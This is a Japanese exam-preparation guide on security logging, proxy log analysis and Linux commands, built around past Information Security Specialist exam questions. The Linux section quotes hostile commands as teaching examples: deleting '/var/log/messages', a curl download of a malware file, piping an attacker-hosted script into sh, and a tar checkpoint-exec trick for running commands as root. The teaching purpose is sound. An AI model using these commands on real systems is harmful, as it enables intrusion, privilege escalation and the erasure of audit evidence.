1.ログ取得の必要性
(1)浮気のセキュリティ

姉が、旦那が浮気しているか心配、と悩んでます。
どういう対策をすればよいでしょうか?
GPS携帯で監視するとか、お金をわたさないかかな。携帯はパスワードがかかっているし。
以前の携帯ならパソコンと接続してフリーソフトで暗証番号を簡単に解読できましたが、最近はダメです。
企業でも同じ心配がある。大事な顧客情報や企業情報は限られた社員に限定している。なおかつ教育をして高い意識を持たせているが、本当に漏えいしていないかは管理しようがない。「お天道様(おてんとさま)が見ているから」とセルフコントロールしてくれればいいのだが。
それと、嫌がられるが、きちんとログをとればかなり防げる。各種システムへのログイン、ログアウト、どのファイルにアクセスしたかのログをとり、きちんと分析する。そしてあやしいときは本人に確認する営みが大事である。

なるほど。携帯のチェックや財布のチェック、帰宅時刻のチェック、場合によっては会社の同僚からの状況報告などね。嫌がられそう。
セキュリティは嫌がられるものなので、しかたがない。それと、加えてログを取得しているという事実を周知すること、分析結果を公開すること、違反した場合には罰則を設けることも大事。
(2)ログの目的
ログデータは、誰が、いつ、何にアクセスしたかを、成功/失敗を含めて記録するのだ。過去問(H20SV 午前問題 問35より)では、データベースの監査ログを取得する目的として、「問題のあるデータ操作を事後に調査する」と述べられている。
もう一問見てみよう。
| 過去問(H20秋SU午後Ⅱ問1より) |
|---|
| ログの取得は,利用者認証のような[ a ]のための対策にはなりませんが,いつ,どのような事象が発生したかを記録しておくことは,[ b ]のための対策として重要だと思います。 設問 [ a ][ b ]にあてはまる字句を答えよ |

これ、難しいですね。
でも、意味は分かります。ログは、直接的に防御するようなものではなく、記録をして後から追跡できるためのもの。防犯カメラと同じですよね。防犯カメラが万引き犯を防御できなくても、後から警察にて捕まえるための記録になります。
そう。具体的なログとしては、Linuxサーバのログであれば、システムログである/var/log/messagesや、接続および認証のログなどを含むセキュリティログの/var/log/secure。Apacheによるwebサーバであればaccess_log に記載される。
↓
↓
↓
↓
↓
この問題は、実際には選択式
aは予防
bは検知
■別の過去問
| 過去問(H19初級シスアド秋 午前) |
|---|
| 問36 機密データの漏えいを検知することを目的とした対策はどれか。 ア 機密データにアクセスできる利用者を限定し、パスワード管理を徹底させる。 イ 機密データに対する利用者のアクセスログを取り、定期的にチェックする。 ウ 機密データの取扱マニュアルを作成し、利用者に対して教育を行う。 エ 機密データのバックアップを取得し、その媒体を安全性の高い場所に保管する。 |
↓
↓
↓
↓
↓
この問題も、単に答えるだけでなく、セキュリティ対策の内容を理解することを目的として全ての選択肢を理解しましょう。
例えば、アによってどんな効果があるか。情報漏えいを防ぐ効果があります。
ウも同様です。
ちなみに正解はイです。
エは、機密データの漏えいを防ぐのではなく、バックアップすることで、破損や盗難などに備える目的です。
2.ログのセキュリティ
ログに関するセキュリティ要件は、過去問(H20SU 午後Ⅱ問1)にてまとめられている。「具体的な機能や方法」について、ご自身で考えて欲しい。
| ログ管理に関するセキュリティ要件 | 具体的な機能や方法 | |
|---|---|---|
| 1 | ログを収めるサーバのハードディスク容量を使い切ってしまい、ログが書き出せなくなることを防ぐための機能を設ける。 | |
| 2 | ログを収めたファイルの改ざんや消去を防ぐための機能を設ける。 | |
| 3 | 取得したログの点検・分析を支援するための機能を設ける。(ログの見える化による不正行為検出率の向上などが期待できる) | |
| 4 | 利用者がシステムに不正行為を働くことを抑止する。 |
過去問(H20SU 午後Ⅱ問1)の内容は以下である。
| ログ管理に関するセキュリティ要件 | 具体的な機能や方法 | |
|---|---|---|
| 1 | ログを収めるサーバのハードディスク容量を使い切ってしまい、ログが書き出せなくなることを防ぐための機能を設ける。 | ・日々のデータ量と将来の予想データ量、それと保存期間を考慮してハードディスク容量を計算する。 ・使用量を常時監視し、所要量に達したら自動的に外部記憶媒体に退避する。 |
| 2 | ログを収めたファイルの改ざんや消去を防ぐための機能を設ける。 | ・要塞化した専用のログサーバを設置し、ログを集約する。 ・接続可能なポートを制限したログサーバにログを集約する。 |
| 3 | 取得したログの点検・分析を支援するための機能を設ける。(ログの見える化による不正行為検出率の向上などが期待できる) | ・ログ解析ソフトを活用する。 |
| 4 | 利用者がシステムに不正行為を働くことを抑止する。 | システムの利用者に対して、システム上でログを取得し、点検・分析することを周知する。 |
(H20SU午後Ⅱ問1「図3 ログ管理に関するセキュリティ要件、設問4」を引用・一部修正)
3.どんなログを取るべきか
3.1 システムで取得するログ
ログ管理に関しては、情報処理安全確保支援士試験の過去問(H24SC秋午後Ⅰ問2)に良問がある。一度解いてみてほしい。
その中で、Bシステムで取得しているログが表にまとめられている。まあ、一例としてみてもらえばいいだろう。
| ログを取得するイベント | 取得する情報 |
|---|---|
| ログイン成功 | 日付,時刻,機能番号(0001),端末ID,利用者ID,成功(1) |
| ログイン失敗 | 日付,時刻,機能番号(0001),端末ID,ログインしようとした利用者ID,失敗(0) |
| ログアウト | 日付,時刻,機能番号(0099),端末ID,利用者ID |
| ログインとログアウト以外の機能の利用成功 | 日付,時刻,機能番号(1000~9999),端末ID,利用者ID,成功(1) |
| ログインとログアウト以外の機能の利用失敗 | 日付,時刻,機能番号(1000~9999),端末ID,利用者ID,失敗(0) |
この問題では、是非とも理解してほしい設問があった。その部分を抜粋する。
| 過去問(H24SC秋午後Ⅰ問2抜粋) |
|---|
| 〔モニタリングの実施〕 Bシステムのモニタリング手順をまとめてから2週間後にツールが完成し,ツールによるモニタリングを開始した。D部長は、③モニタリングの実施を社内に通知するよう指示した。ただし,④モニタリング条件はセキュリティ上の懸念から開示しないよう指示した。 設問2 〔モニタリングの実施〕について,(1)~(4)に答えよ。 (1)本文中の下線③について,どのような効果があると考えられるか。20字以内で述べよ。 (2)本文中の下線④について,モニタリング条件の開示によるセキュリティ上の懸念とは何か。40字以内で述べよ。 |
↓
↓
↓
↓
↓
試験センターの解答例は以下である。
設問2
(1)悪意ある行動を抑止する効果
(2)モニタリング条件を回避するようにして悪意ある行動をとられること
3.2 インターネット接続で取得するログ
インターネットに接続するログとしては、FWのログと、Proxyサーバのログを取ることが大事です。特にProxyサーバには、いつ,どのIPアドレスの端末が,どのサイトにアクセスしたかの記録が残ります。マルウェア感染にて不正サイトへ通信した際などの解析にも役立ちます。
Webサーバで取得できるアクセスログと同じと考えてください。
実際のログのイメージをつかんでもらうために,過去問(H30SC秋午後Ⅱ問2)の問題文にあるログを引用します。※利用者IDを追加しています。
| ログ引用(H30SC秋午後Ⅱ問2) |
|---|
| 4:[04/Sep/2018:14:31:15+0900] "GET http://yyyy/dl/samplebun.zip HTTP/1.1" 200 89331 "http://zzzz/2018/ne/bunrei.html" "▲▲" 27:[08/Sep/2018:03:39:04+0900] "GET http://IPn/login/pro.php user1 HTTP/1.1" 200 563 "-" "▽▽" 28:[08/Sep/2018:03:39:04+0900] "POST http://IPn/admin/g.php user1 HTTP/1.1" 200 35618 "-" "▽▽" |
↑日時 ↑メソッド ↑アクセス先のURL ↑利用者ID
ここにありますように,Proxyのログには,通信日時以外に,アクセス先URLや利用者ID(認証した場合)などが記載されます。では、4行目の内容をもとに詳しく解説します。
| 項目 | 説明 | 補足 |
|---|---|---|
| [04/Sep/2018:14:31:15+0900] | 日時 | +0900は,世界の標準時刻GMT(実際にはUTC)と9時間のズレがあることを意味します。※GMT(Greenwich Mean Time)は,グリニッジ標準時,UTC(Coordinated universal time)は協定世界時。どちらも同じと考えてください。 |
| GET | リクエストのメソッド | GETメソッドなので、データを取得と考えてください |
| http://yyyy/dl/samplebun.zip | リクエストのURL | 接続するURLです |
| HTTP/1.1 | リクエストのプロトコルとバージョン | HTTP/1.1はHTTPのバージョンです。最近はHTTP2.0やHTTP3.0も増えています |
| 200 | 要求元PCに送信したレスポンスのHTTPステータスコード | HTTPのステータスコードで,200は通信が成功したことを意味します。 →なので、1行のログで、HTTPリクエストとレスポンスの2つのログを表示していることになります。 |
| 89331 | 要求元PCに送信したレスポンスメッセージのサイズ | PCに送信した(=PCが受信した)データのバイト数です。今回の通信は89331バイトであることがわかります。 |
| http://zzzz/2018/ne/bunrei.html | リクエストのRefererヘッダの値 | どのページから来たのかというリファラ(=アクセス元のURL)が記載されます。直接アクセスした場合は,-の表記がされます。 |
| ▲▲ | リクエストのUser-Agentヘッダの値 | ユーザエージェントで,PCのOSやブラウザの情報が記載されます。多くの場合、PCによってに異なる情報です。 |
Q.では、軽い問題です。以下の2つのログから、どんな通信が行われたのか、簡単に説明してください。
| 8:[04/Sep/2018:14:37:06+0900] "GET http://IPn/news.php HTTP/1.1" 200 5429 "-" "▽▽" 9:[04/Sep/2018:14:37:32+0900] "POST http://IPn/login/pro.php HTTP/1.1" 200 646 "-" "▽▽" |
A.解答はこちらです。
3.3 参考情報 :具体的に取得すべきログの種類と内容
総務省の「ログの適切な取得と保管」には、具体的に取得すべきログの種類と内容として、以下の記載があります。
http://www.soumu.go.jp/main_sosiki/joho_tsusin/security/business/admin/22.html
ログ保存期間の目安に関しては、IPAの資料に法令・ガイドライン等が記載があります。政府機関は1年以上保存とあり、一つの目安になるでしょう。
https://warp.ndl.go.jp/info:ndljp/pid/10201926/www.ipa.go.jp/files/000052999.pdf
4.Linuxサーバ
情報処理安全確保支援士試験で登場したLinuxのコマンドに関して、いくつか紹介します。
(1)R5春SC午後Ⅰ問2
・psコマンド(process status)
実行中のプロセスの一覧や状態を表示する。

・netstat コマンド(network statistics)
ネットワーク接続やポートの使用状況を表示する。

・wget コマンド(WWW get)
指定したURLからファイルをダウンロードする。

・chmod コマンド(change mode)
ファイルやディレクトリのアクセス権(パーミッション)を変更する。実際の変更などは、この次(R6春午後問4)に記載。

(2)Linuxのパーミッション(R6春午後問4)
・上記のchmodにて、パーミッションを変更できます。

・パーミッションの660について説明します。6を二進数で表すと110,0は000なので,CSVファイルのパーミッションをLinux上で表示すると以下のようになります。つまり,CSVファイルのオーナーであるbatchappuserとその所属グループの人がファイルを閲覧できます。

・chmodを使った設定例です。

(3)R1秋SC午後Ⅱ
①rm
ファイルを削除するコマンドです。ログファイルを強制的(-f)に削除する場合は以下のようになります。
| # rm -f /var/log/messages |
②iptable
FWの設定(アクセスリスト)を設定するコマンドです。以下は、過去問(R1SC秋午後Ⅱ問1)からの引用ですが、TCPプロトコルで宛先ポート番号(dport)が6379の通信を拒否(DROP)します。
| iptables -I INPUT -p tcp --dport 6379 -j DROP |
※確実にルールが適用されるように、-Iで先頭にルールを追加しています。
③curl
ファイルをダウンロードする際によく利用されるコマンドです。wgetというコマンドでもファイルを取得できますが、wgetはHTTPとHTTPS、FTPのみしか対応していません。crulはSCPなども含めて対応するプロトコル多いのが特徴の一つです。
たとえば、malware.exeというファイルをダウンロードする場合は以下のようになります。
| #curl -O http://www.exapmle.com/malware.exe |
※-Oは、ファイルをダウンロードする場合のオプションです。
また、過去問(R1SC秋午後Ⅱ問1)からの引用ですが、ファイルを取得して、シェルを実行する場合は、以下のようにします。
| #curl -sf https://▲▲▲▲1)/attackers-url/xxx.sh | sh -s |
※shはシェルを実行するコマンドです。-sfや-sなどのオプションは流しておいてください。
④top
topコマンドは、端末で実行中のプロセスを表示しますが、topとある通り、CPUの使用率が高い順に表示します。
#top
・・・
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4288 root 20 0 801196 70144 39376 S 0.3 7.0 0:00.89 dockerd
1 root 20 0 43600 5332 3976 S 0.0 0.5 0:01.34 systemd
3940 apache 20 0 315660 6932 4088 S 0.3 0.7 0:00.09 httpd
(4)R4春PM1-2
・whoami
who am iとうことで、現在ログインしているユーザの名前(ユーザID)を表示する。

・tar

| ・sudoコマンドによりrootアカウント権限でtarコマンドを実行します。 ・tar -cf /dev/null /dev/null tarコマンドのオプション「-cf」は指定したディレクトリにあるファイル(f:file)を,新規にアーカイブファイルとして作成(c:create)という意味です。問題文の場合,/dev/nullが両方とも指定されているため,実際は何も作成されません。(※tarコマンドを悪用しているだけなので,これで問題ありません) ・--checkpoint=1 --checkpoint-action=exec=whoami |
ファイルアーカイブ作業中にチェックポイントを1つ設け,そのチェックポイントでexecコマンドを呼び出し,root権限でwhoamiを実行します。|
(5)R4秋PM1-1
・ifconfig

・curl
(6)Linuxの設定ファイル
❶etc/hosts.allowと/etc/hosts.denyファイル
過去問(R3春SC午後2問1)の問題文に、etc/hosts.allowを使ってSSHのアクセス制御の記載があり。allow がSSHやFTPなどの許可したいサービスに対して許可するIPアドレス(セグメント)やホスト(FQDN)を指定できる。一方、denyは拒否の場合に使う。
/etc/hosts.allowが優先で、/etc/hosts.allowに許可するホストやIPアドレスを書き、/etc/hosts.denyには全拒否の設定を入れる(ALL:ALL)。
❷/etc/passwdと/etc/shadow
ユーザおよびパスワード関連のファイルには以下の2つがある
/etc/passwd /etc/shadow
どういう違いがあるのか。
/etc/passwdにはユーザやグループの情報も記載されているので、パスワードファイルというよりはユーザ情報ファイルと考えた方がいい。これは、アクセス権としては管理者以外も誰でも見えるようになっている。
-rw-r--r--
しかし、パスワードそのものは、いくらハッシュしているとはいえ、一般ユーザが見えてしまっては困る。そこで、/etc/passwdではパスワードはxとだけ表示され、実質的には保存されていない。
かわりに、/etc/shadowファイルにハッシュ化(つまり暗号化)して保存されている。